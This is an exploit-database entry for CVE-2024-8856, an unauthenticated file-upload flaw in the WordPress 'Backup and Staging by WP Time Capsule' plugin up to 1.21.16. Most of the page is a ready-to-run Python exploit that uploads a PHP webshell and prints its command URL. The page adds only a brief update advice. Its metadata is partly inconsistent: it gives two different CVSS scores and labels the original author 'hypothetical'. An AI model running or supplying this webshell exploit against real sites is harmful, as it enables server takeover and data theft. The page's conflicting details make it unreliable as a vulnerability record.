header-logo
Suggest Exploit
vendor:
Backup and Staging Plugin
by:
Al Baradi Joy
8.1
CVSS
CRITICAL
Arbitrary File Upload / Remote Code Execution
434
CWE
Product Name: Backup and Staging Plugin
Affected Version From: Up to and including 1.21.16
Affected Version To: 1.21.16
Patch Exists: YES
Related CWE: CVE-2024-8856
CPE: a:wp-timecapsule:backup_and_staging_plugin:1.21.16
Metasploit:
Other Scripts:
Platforms Tested: WordPress
2025

WordPress Backup and Staging Plugin Arbitrary File Upload to Remote Code Execution

The WordPress plugin 'Backup and Staging by WP Time Capsule' up to version 1.21.16 allows unauthenticated attackers to upload arbitrary files via the upload.php endpoint, potentially leading to remote code execution by uploading and executing a PHP file directly from a specific directory.

Mitigation:

Ensure that the plugin is updated to version 1.21.17 or higher to mitigate this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Backup and Staging Plugin ≤ 1.21.16 - Arbitrary File Upload to RCE
# Original Author: Patchstack (hypothetical)
# Exploit Author: Al Baradi Joy
# Exploit Date: April 5, 2025
# Vendor Homepage: https://wp-timecapsule.com/
# Software Link: https://wordpress.org/plugins/wp-time-capsule/
# Version: Up to and including 1.21.16
# Tested Versions: 1.21.16
# CVE ID: CVE-2024-8856
# Vulnerability Type: Arbitrary File Upload / Remote Code Execution
# Description:
# The WordPress plugin "Backup and Staging by WP Time Capsule" up to version 1.21.16
# allows unauthenticated attackers to upload arbitrary files via the upload.php endpoint.
# This can lead to remote code execution if a PHP file is uploaded and executed directly
# from the wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/ directory.
# Proof of Concept: Yes
# Categories: WordPress Plugin, File Upload, RCE
# CVSS Score: 9.9 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes:
# Successful exploitation provides shell access as the user running the web server.
# Ensure target is using the vulnerable plugin version before launching the attack.

import requests

# Banner
def display_banner():
print("="*80)
print("Exploit Title: CVE-2024-8856 - WordPress Backup and Staging
Plugin Arbitrary File Upload")
print("Made By Al Baradi Joy")
print("="*80)

# Function to detect if the target supports HTTPS or falls back to HTTP
def detect_protocol(domain):
https_url = f"https://{domain}"
http_url = f"http://{domain}"

try:
response = requests.get(https_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTPS: {https_url}")
return https_url
except requests.exceptions.RequestException:
print("[!] HTTPS not available, falling back to HTTP.")

try:
response = requests.get(http_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTP: {http_url}")
return http_url
except requests.exceptions.RequestException:
print("[✖] Target is unreachable on both HTTP and HTTPS.")
exit(1)

# Exploit function
def exploit(target_url):
target_url = detect_protocol(target_url.replace("http://",
"").replace("https://", "").strip())
upload_url =
f"{target_url}/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload.php"
shell_url =
f"{target_url}/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/shell.php?cmd=whoami"

files = {
'file': ('shell.php', '<?php system($_GET["cmd"]); ?>',
'application/x-php')
}

try:
print(f"[+] Attempting to upload shell to: {upload_url}")
response = requests.post(upload_url, files=files, timeout=10)

if response.status_code == 200:
print(f"[✔] Exploit successful! Webshell available at:
{shell_url}")
else:
print(f"[✖] Failed to upload shell. Status code:
{response.status_code}")

except requests.exceptions.ConnectionError:
print("[✖] Connection failed. Target may be down.")
except requests.exceptions.Timeout:
print("[✖] Request timed out. Target is slow or unresponsive.")
except requests.exceptions.RequestException as e:
print(f"[✖] Unexpected error: {e}")

# Main execution
if __name__ == "__main__":
display_banner()
target = input("[?] Enter the target URL (without http/https):
").strip()
exploit(target)